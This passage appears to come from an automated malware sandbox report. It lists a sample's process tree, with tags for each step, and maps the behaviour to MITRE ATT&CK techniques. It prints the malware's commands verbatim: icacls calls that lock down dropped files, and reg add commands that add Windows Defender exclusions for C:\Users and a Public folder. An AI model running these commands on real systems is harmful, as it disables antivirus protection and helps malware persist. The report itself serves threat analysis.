- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4156
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3444
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\wkra9K\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4120

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HGtygP" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HGtygP" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1128

C:\Users\Public\HGtygP\PESgKg.exe
"C:\Users\Public\HGtygP\PESgKg.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:376

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2308

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4384
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4924

C:\Program Files (x86)\wkra9K\wkra9K.exe
"C:\Program Files (x86)\wkra9K\wkra9K.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4312

C:\Program Files (x86)\wkra9K\wkra9K.exe
"C:\Program Files (x86)\wkra9K\wkra9K.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2596

C:\Program Files (x86)\x7P26\Rkjcfk.exe
"C:\Program Files (x86)\x7P26\Rkjcfk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery